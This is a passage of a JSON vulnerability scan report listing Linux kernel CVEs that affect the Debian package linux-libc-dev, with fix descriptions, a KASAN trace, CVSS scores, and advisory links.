"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26852", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26853", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26870", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26908", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26940", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26958", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26960", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-26961", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27011", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27019", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27025", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27065", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27388", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27395", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27434", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31076", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-33621", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35790", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35801", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35807", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35810", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35814", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35823", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35824", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35847", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35876", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35893", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35896", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35897", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35899", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35900", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35910", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35924", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35925", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35930", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35937", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35938", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35946", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35947", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-35952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36000", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36005", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36006", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36010", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36016", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36017", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36020", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36025", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36286", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36489", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36886", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36889", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36896", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36904", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36905", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36917", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36921", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36927", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36929", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36933", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36940", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36941", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36945", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36950", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36954", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36960", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36971", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36978", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-36979", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38538", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38555", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38573", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38575", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38596", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38598", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38627", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39276", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39472", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39476", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39487", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39502", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40927", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-40974", "https://errata.almalinux.org/8/ALSA-2024-5102.html", "https://errata.rockylinux.org/RLSA-2024:5101", "https://git.kernel.org/linus/32f2a0afa95fae0d1ceec2ff06e0e816939964b8%20%286.8-rc2%29", "https://git.kernel.org/stable/c/32f2a0afa95fae0d1ceec2ff06e0e816939964b8", "https://git.kernel.org/stable/c/9ed46144cff3598a5cf79955630e795ff9af5b97", "https://git.kernel.org/stable/c/a400208567c3927d8ff2b93f397526795e92d684", "https://git.kernel.org/stable/c/c04709b2cc99ae31c346f79f0211752d7b74df01", "https://linux.oracle.com/cve/CVE-2024-26669.html", "https://linux.oracle.com/errata/ELSA-2024-9315.html", "https://lore.kernel.org/linux-cve-announce/2024040237-CVE-2024-26669-ca3c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-26669", "https://ubuntu.com/security/notices/USN-6818-1", "https://ubuntu.com/security/notices/USN-6818-2", "https://ubuntu.com/security/notices/USN-6818-3", "https://ubuntu.com/security/notices/USN-6818-4", "https://ubuntu.com/security/notices/USN-6819-1", "https://ubuntu.com/security/notices/USN-6819-2", "https://ubuntu.com/security/notices/USN-6819-3", "https://ubuntu.com/security/notices/USN-6819-4", "https://ubuntu.com/security/notices/USN-7088-1", "https://ubuntu.com/security/notices/USN-7088-2", "https://ubuntu.com/security/notices/USN-7088-3", "https://ubuntu.com/security/notices/USN-7088-4", "https://ubuntu.com/security/notices/USN-7088-5", "https://ubuntu.com/security/notices/USN-7100-1", "https://ubuntu.com/security/notices/USN-7100-2", "https://ubuntu.com/security/notices/USN-7119-1", "https://ubuntu.com/security/notices/USN-7123-1", "https://ubuntu.com/security/notices/USN-7144-1", "https://ubuntu.com/security/notices/USN-7194-1", "https://www.cve.org/CVERecord?id=CVE-2024-26669" ], "PublishedDate": "2024-04-02T07:15:43.697Z", "LastModifiedDate": "2026-10-30T13:17:20.843Z" }, { "VulnerabilityID": "CVE-2024-26836", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-26836", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f901682b973fa4abbfcfcabc72a729df3c4791c6dacbbd23ae7322b09c9392a1", "Title": "kernel: platform/x86: think-lmi: Fix password opcode ordering for workstations", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nplatform/x86: think-lmi: Fix password opcode ordering for workstations\n\nThe Lenovo workstations require the password opcode to be run before\nthe attribute value is changed (if Admin password is enabled).\n\nTested on some Thinkpads to confirm they are OK with this order too.", "Severity": "HIGH", "VendorSeverity": { "nvd": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.4 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-26836", "https://git.kernel.org/linus/6f7d0f5fd8e440c3446560100ac4ff9a55eec340%20%286.8-rc6%29", "https://git.kernel.org/stable/c/2bfbe1e0aed00ba51d58573c79452fada3f62ed4", "https://git.kernel.org/stable/c/2deb10a99671afda30f834e95e5b992a805bba6a", "https://git.kernel.org/stable/c/6f7d0f5fd8e440c3446560100ac4ff9a55eec340", "https://lore.kernel.org/linux-cve-announce/2024041714-CVE-2024-26836-19c3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-26836", "https://www.cve.org/CVERecord?id=CVE-2024-26836" ], "PublishedDate": "2024-04-17T10:15:09.713Z", "LastModifiedDate": "2026-06-17T07:18:27.873Z" }, { "VulnerabilityID": "CVE-2024-26913", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-26913", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:060a8fe6be84baaa3d1b5ff7e9374cff81544ec5a49fa64c4c40712040833d2c", "Title": "kernel: drm/amd/display: Fix dcn35 8k30 Underflow/Corruption Issue", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix dcn35 8k30 Underflow/Corruption Issue\n\n[why]\nodm calculation is missing for pipe split policy determination\nand cause Underflow/Corruption issue.\n\n[how]\nAdd the odm calculation.", "Severity": "HIGH", "CweIDs": [ "CWE-191" ], "VendorSeverity": { "azure": 3, "cbl-mariner": 3, "nvd": 3, "redhat": 1, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-26913", "https://git.kernel.org/linus/faf51b201bc42adf500945732abb6220c707d6f3%20%286.8-rc3%29", "https://git.kernel.org/stable/c/cdbe0be8874c63bca85b8c38e5b1eecbdd18df31", "https://git.kernel.org/stable/c/faf51b201bc42adf500945732abb6220c707d6f3", "https://lore.kernel.org/linux-cve-announce/2024041736-CVE-2024-26913-2cb3@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-26913", "https://www.cve.org/CVERecord?id=CVE-2024-26913" ], "PublishedDate": "2024-04-17T16:15:08.04Z", "LastModifiedDate": "2026-06-17T07:18:40.513Z" }, { "VulnerabilityID": "CVE-2024-26914", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-26914", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd2bbbcdc5c33ce680ae87df8ee7cf4a2d5be2a71133b8100db52e0e874ec1e7", "Title": "kernel: drm/amd/display: fix incorrect mpc_combine array size", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: fix incorrect mpc_combine array size\n\n[why]\nMAX_SURFACES is per stream, while MAX_PLANES is per asic. The\nmpc_combine is an array that records all the planes per asic. Therefore\nMAX_PLANES should be used as the array size. Using MAX_SURFACES causes\narray overflow when there are more than 3 planes.\n\n[how]\nUse the MAX_PLANES for the mpc_combine array size.", "Severity": "HIGH", "CweIDs": [ "CWE-129" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-26914", "https://git.kernel.org/linus/39079fe8e660851abbafa90cd55cbf029210661f%20%286.8-rc3%29", "https://git.kernel.org/stable/c/0bd8ef618a42d7e6ea3f701065264e15678025e3", "https://git.kernel.org/stable/c/39079fe8e660851abbafa90cd55cbf029210661f", "https://lore.kernel.org/linux-cve-announce/2024041737-CVE-2024-26914-e47b@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-26914", "https://www.cve.org/CVERecord?id=CVE-2024-26914" ], "PublishedDate": "2024-04-17T16:15:08.09Z", "LastModifiedDate": "2026-08-04T11:17:20.523Z" }, { "VulnerabilityID": "CVE-2024-26944", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-26944", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:58b34880fe3f698921714db56d6d74f438db6ded63a8be7948365e8b1cf26be0", "Title": "kernel: btrfs: zoned: fix use-after-free in do_zone_finish()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nbtrfs: zoned: fix use-after-free in do_zone_finish()\n\nShinichiro reported the following use-after-free triggered by the device\nreplace operation in fstests btrfs/070.\n\n BTRFS info (device nullb1): scrub: finished on devid 1 with status: 0\n ==================================================================\n BUG: KASAN: slab-use-after-free in do_zone_finish+0x91a/0xb90 [btrfs]\n Read of size 8 at addr ffff8881543c8060 by task btrfs-cleaner/3494007\n\n CPU: 0 PID: 3494007 Comm: btrfs-cleaner Tainted: G W 6.8.0-rc5-kts #1\n Hardware name: Supermicro Super Server/X11SPi-TF, BIOS 3.3 02/21/2020\n Call Trace:\n \u003cTASK\u003e\n dump_stack_lvl+0x5b/0x90\n print_report+0xcf/0x670\n ? __virt_addr_valid+0x200/0x3e0\n kasan_report+0xd8/0x110\n ? do_zone_finish+0x91a/0xb90 [btrfs]\n ? do_zone_finish+0x91a/0xb90 [btrfs]\n do_zone_finish+0x91a/0xb90 [btrfs]\n btrfs_delete_unused_bgs+0x5e1/0x1750 [btrfs]\n ? __pfx_btrfs_delete_unused_bgs+0x10/0x10 [btrfs]\n ? btrfs_put_root+0x2d/0x220 [btrfs]\n ? btrfs_clean_one_deleted_snapshot+0x299/0x430 [btrfs]\n cleaner_kthread+0x21e/0x380 [btrfs]\n ? __pfx_cleaner_kthread+0x10/0x10 [btrfs]\n kthread+0x2e3/0x3c0\n ? __pfx_kthread+0x10/0x10\n ret_from_fork+0x31/0x70\n ? __pfx_kthread+0x10/0x10\n ret_from_fork_asm+0x1b/0x30\n \u003c/TASK\u003e\n\n Allocated by task 3493983:\n kasan_save_stack+0x33/0x60\n kasan_save_track+0x14/0x30\n __kasan_kmalloc+0xaa/0xb0\n btrfs_alloc_device+0xb3/0x4e0 [btrfs]\n device_list_add.constprop.0+0x993/0x1630 [btrfs]\n btrfs_scan_one_device+0x219/0x3d0 [btrfs]\n btrfs_control_ioctl+0x26e/0x310 [btrfs]\n __x64_sys_ioctl+0x134/0x1b0\n do_syscall_64+0x99/0x190\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\n Freed by task 3494056:\n kasan_save_stack+0x33/0x60\n kasan_save_track+0x14/0x30\n kasan_save_free_info+0x3f/0x60\n poison_slab_object+0x102/0x170\n __kasan_slab_free+0x32/0x70\n kfree+0x11b/0x320\n btrfs_rm_dev_replace_free_srcdev+0xca/0x280 [btrfs]\n btrfs_dev_replace_finishing+0xd7e/0x14f0 [btrfs]\n btrfs_dev_replace_by_ioctl+0x1286/0x25a0 [btrfs]\n btrfs_ioctl+0xb27/0x57d0 [btrfs]\n __x64_sys_ioctl+0x134/0x1b0\n do_syscall_64+0x99/0x190\n entry_SYSCALL_64_after_hwframe+0x6e/0x76\n\n The buggy address belongs to the object at ffff8881543c8000\n which belongs to the cache kmalloc-1k of size 1024\n The buggy address is located 96 bytes inside of\n freed 1024-byte region [ffff8881543c8000, ffff8881543c8400)\n\n The buggy address belongs to the physical page:\n page:00000000fe2c1285 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x1543c8\n head:00000000fe2c1285 order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0\n flags: 0x17ffffc0000840(slab|head|node=0|zone=2|lastcpupid=0x1fffff)\n page_type: 0xffffffff()\n raw: 0017ffffc0000840 ffff888100042dc0 ffffea0019e8f200 dead000000000002\n raw: 0000000000000000 0000000000100010 00000001ffffffff 0000000000000000\n page dumped because: kasan: bad access detected\n\n Memory state around the buggy address:\n ffff8881543c7f00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n ffff8881543c7f80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n \u003effff8881543c8000: fa fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ^\n ffff8881543c8080: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n ffff8881543c8100: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n\nThis UAF happens because we're accessing stale zone information of a\nalready removed btrfs_device in do_zone_finish().\n\nThe sequence of events is as follows:\n\nbtrfs_dev_replace_start\n btrfs_scrub_dev\n btrfs_dev_replace_finishing\n btrfs_dev_replace_update_device_in_mapping_tree \u003c-- devices replaced\n btrfs_rm_dev_replace_free_srcdev\n btrfs_free_device \u003c-- device freed\n\ncleaner_kthread\n btrfs_delete_unused_bgs\n btrfs_zone_finish\n do_zone_finish \u003c-- refers the freed device\n\nThe reason for this is that we're using a\n---truncated---", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 3 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-26944", "https://git.kernel.org/linus/1ec17ef59168a1a6f1105f5dc517f783839a5302%20%286.9-rc2%29", "https://git.kernel.org/stable/c/1ec17ef59168a1a6f1105f5dc517f783839a5302", "https://git.kernel.org/stable/c/34ca809e055eca5cfe63d9c7efbf80b7c21b4e57", "https://lore.kernel.org/linux-cve-announce/2024050125-CVE-2024-26944-598c@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-26944", "https://ubuntu.com/security/notices/USN-6816-1", "https://ubuntu.com/security/notices/USN-6817-1", "https://ubuntu.com/security/notices/USN-6817-2", "https://ubuntu.com/security/notices/USN-6817-3", "https://ubuntu.com/security/notices/USN-6878-1", "https://www.cve.org/CVERecord?id=CVE-2024-26944" ], "PublishedDate": "2024-05-01T06:15:10.01Z", "LastModifiedDate": "2026-08-04T11:17:24.413Z" }, { "VulnerabilityID": "CVE-2024-35887", "VendorIDs": [ "DLA-4841-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.190-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-35887", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:84e2a0d5458831f6b9d8ce9f7aa4862081c6ddf8041b7ec76f335e4960fa1baf", "Title": "kernel: ax25: fix use-after-free bugs caused by ax25_ds_del_timer", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nax25: fix use-after-free bugs caused by ax25_ds_del_timer\n\nWhen the ax25 device is detaching, the ax25_dev_device_down()\ncalls ax25_ds_del_timer() to cleanup the slave_timer. When\nthe timer handler is running, the ax25_ds_del_timer() that\ncalls del_timer() in it will return directly. As a result,\nthe use-after-free bugs could happen, one of the scenarios\nis shown below:\n\n (Thread 1) | (Thread 2)\n | ax25_ds_timeout()\nax25_dev_device_down() |\n ax25_ds_del_timer() |\n del_timer() |\n ax25_dev_put() //FREE |\n | ax25_dev-\u003e //USE\n\nIn order to mitigate bugs, when the device is detaching, use\ntimer_shutdown_sync() to stop the timer.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 5.5 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2024-35887", "https://git.kernel.org/linus/fd819ad3ecf6f3c232a06b27423ce9ed8c20da89%20%286.9-rc3%29", "https://git.kernel.org/stable/c/28f2d36ac52225a13e020c2589833f1816a0cfc6", "https://git.kernel.org/stable/c/74204bf9050f7627aead9875fe4e07ba125cb19b", "https://git.kernel.org/stable/c/8a912ef5b7c5d14fb41b9a7935d1df5bb87058bf", "https://git.kernel.org/stable/c/c6a368f9c7af4c14b14d390c2543af8001c9bdb9", "https://git.kernel.org/stable/c/fd819ad3ecf6f3c232a06b27423ce9ed8c20da89", "https://lore.kernel.org/linux-cve-announce/2024051947-CVE-2024-35887-9c08@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2024-35887", "https://ubuntu.com/security/notices/USN-6893-1", "https://ubuntu.com/security/notices/USN-6893-2", "https://ubuntu.com/security/notices/USN-6893-3", "https://ubuntu.com/security/notices/USN-6918-1", "https://ubuntu.com/security/notices/USN-7288-1", "https://ubuntu.com/security/notices/USN-7288-2", "https://ubuntu.com/security/notices/USN-7289-1", "https://ubuntu.com/security/notices/USN-7289-2", "https://ubuntu.com/security/notices/USN-7289-3", "https://ubuntu.com/security/notices/USN-7289-4", "https://ubuntu.com/security/notices/USN-7291-1", "https://ubuntu.com/security/notices/USN-7293-1", "https://ubuntu.com/security/notices/USN-7294-1", "https://ubuntu.com/security/notices/USN-7294-2", "https://ubuntu.com/security/notices/USN-7294-3", "https://ubuntu.com/security/notices/USN-7294-4", "https://ubuntu.com/security/notices/USN-7295-1", "https://ubuntu.com/security/notices/USN-7305-1", "https://ubuntu.com/security/notices/USN-7308-1", "https://ubuntu.com/security/notices/USN-7331-1", "https://ubuntu.com/security/notices/USN-7388-1", "https://ubuntu.com/security/notices/USN-7389-1", "https://ubuntu.com/security/notices/USN-7390-1", "https://ubuntu.com/security/notices/USN-7393-1", "https://ubuntu.com/security/notices/USN-7401-1", "https://ubuntu.com/security/notices/USN-7413-1", "https://ubuntu.com/security/notices/USN-7458-1", "https://ubuntu.com/security/notices/USN-7539-1", "https://ubuntu.com/security/notices/USN-7540-1", "https://www.cve.org/CVERecord?id=CVE-2024-35887" ], "PublishedDate": "2024-05-19T09:15:09.837Z", "LastModifiedDate": "2026-09-14T12:17:33.07Z" }, { "VulnerabilityID": "CVE-2024-38570", "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "Status": "affected", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2024-38570", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:ca0539ccb080033550fcebb8e78765479a277c721efc621a12add8be2838c046", "Title": "kernel: gfs2: Fix potential glock use-after-free on unmount", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ngfs2: Fix potential glock use-after-free on unmount\n\nWhen a DLM lockspace is released and there ares still locks in that\nlockspace, DLM will unlock those locks automatically. Commit\nfb6791d100d1b started exploiting this behavior to speed up filesystem\nunmount: gfs2 would simply free glocks it didn't want to unlock and then\nrelease the lockspace. This didn't take the bast callbacks for\nasynchronous lock contention notifications into account, which remain\nactive until until a lock is unlocked or its lockspace is released.\n\nTo prevent those callbacks from accessing deallocated objects, put the\nglocks that should not be unlocked on the sd_dead_glocks list, release\nthe lockspace, and only then free those glocks.\n\nAs an additional measure, ignore unexpected ast and bast callbacks if\nthe receiving glock is dead.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "azure": 3, "nvd": 3, "oracle-oval": 3, "redhat": 2, "rocky": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H", "V3Score": 5.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2024:6997", "https://access.redhat.com/errata/RHSA-2024:7000", "https://access.redhat.com/security/cve/CVE-2024-38570", "https://bugzilla.redhat.com/2265271", "https://bugzilla.redhat.com/2273270", "https://bugzilla.redhat.com/2278167", "https://bugzilla.redhat.com/2278245", "https://bugzilla.redhat.com/2278248", "https://bugzilla.redhat.com/2278250", "https://bugzilla.redhat.com/2278252", "https://bugzilla.redhat.com/2278318", "https://bugzilla.redhat.com/2281677", "https://bugzilla.redhat.com/2283894", "https://bugzilla.redhat.com/2284549", "https://bugzilla.redhat.com/2293348", "https://bugzilla.redhat.com/2293364", "https://bugzilla.redhat.com/2293420", "https://bugzilla.redhat.com/2293423", "https://bugzilla.redhat.com/2293431", 